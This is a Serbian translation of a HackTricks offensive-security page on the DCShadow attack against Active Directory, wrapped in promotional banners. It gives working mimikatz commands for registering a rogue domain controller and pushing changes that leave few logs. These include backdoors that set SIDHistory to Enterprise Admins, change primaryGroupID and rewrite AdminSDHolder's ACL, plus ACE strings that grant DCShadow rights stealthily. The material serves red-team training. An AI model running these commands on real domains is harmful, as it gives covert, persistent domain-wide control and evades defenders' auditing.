hacktricks/windows-hardening/active-directory-methodology/dcshadow.md
2024-02-10 13:11:20 +00:00

6.7 KiB

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

DCShadow

Registruje novi Domain Controller u AD i koristi ga da ubaci atribute (SIDHistory, SPN...) na određene objekte bez ostavljanja bilo kakvih logova u vezi sa modifikacijama. Potrebne su vam DA privilegije i morate biti unutar root domena.
Imajte na umu da će se pojaviti prilično ružni logovi ako koristite netačne podatke.

Da biste izvršili napad, potrebna su vam 2 instancije mimikatz-a. Jedna od njih će pokrenuti RPC servere sa SYSTEM privilegijama (ovde morate navesti promene koje želite da izvršite), a druga instanca će se koristiti za ubacivanje vrednosti:

{% code title="mimikatz1 (RPC serveri)" %}

!+
!processtoken
lsadump::dcshadow /object:username /attribute:Description /value="My new description"

{% code title="mimikatz2 (push) - Potrebno je DA ili slično" %}

lsadump::dcshadow /push

{% endcode %}

Primetite da elevate::token neće raditi u sesiji mimikatz1 jer to podiže privilegije niti, već nam je potrebno podići privilegije procesa.
Možete takođe odabrati i "LDAP" objekat: /object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local

Možete izvršiti promene sa DA ili sa korisnikom sa minimalnim ovlašćenjima:

  • U domenskom objektu:
  • DS-Install-Replica (Dodaj/Ukloni repliku u domenu)
  • DS-Replication-Manage-Topology (Upravljanje topologijom replikacije)
  • DS-Replication-Synchronize (Sinhronizacija replikacije)
  • Sites objekat (i njegova deca) u Configuration kontejneru:
  • CreateChild i DeleteChild
  • Objekat računara koji je registrovan kao DC:
  • WriteProperty (Ne Write)
  • Ciljni objekat:
  • WriteProperty (Ne Write)

Možete koristiti Set-DCShadowPermissions da biste dali ova ovlašćenja neprivilegovanom korisniku (primetite da će ovo ostaviti neke logove). Ovo je mnogo restriktivnije od DA privilegija.
Na primer: Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose Ovo znači da korisničko ime student1 kada je prijavljeno na mašini mcorp-student1 ima DCShadow ovlašćenja nad objektom root1user.

Korišćenje DCShadow za kreiranje zadnjih vrata

{% code title="Postavljanje SIDHistory za korisnika na Enterprise Admins" %}

lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519

{% code title="Promena PrimaryGroupID (postavljanje korisnika kao člana Domain Administratora)" %}

lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519

{% code title="Izmenite ntSecurityDescriptor AdminSDHolder-a (dodelite punu kontrolu korisniku)" %}

#First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl
#Second, add to the ACE permissions to your user and push it using DCShadow
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<whole modified ACL>

{% endcode %}

Shadowception - Dajte DCShadow dozvole koristeći DCShadow (bez modifikovanih logova dozvola)

Potrebno je dodati sledeće ACE-ove sa SID-om našeg korisnika na kraju:

  • Na objekt domena:
  • (OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)
  • (OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)
  • (OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)
  • Na objektu napadačkog računara: (A;;WP;;;UserSID)
  • Na ciljnom korisničkom objektu: (A;;WP;;;UserSID)
  • Na objektu Lokacije u kontejneru Konfiguracija: (A;CI;CCDC;;;UserSID)

Da biste dobili trenutni ACE objekta: (New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=loca l")).psbase.ObjectSecurity.sddl

Primetite da u ovom slučaju morate napraviti nekoliko promena, a ne samo jednu. Dakle, u mimikatz1 sesiji (RPC server) koristite parametar /stack sa svakom promenom koju želite da napravite. Na taj način, samo ćete jednom morati da izvršite /push da biste izvršili sve zaglavljene promene na lažnom serveru.

Više informacija o DCShadow na ired.team.

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: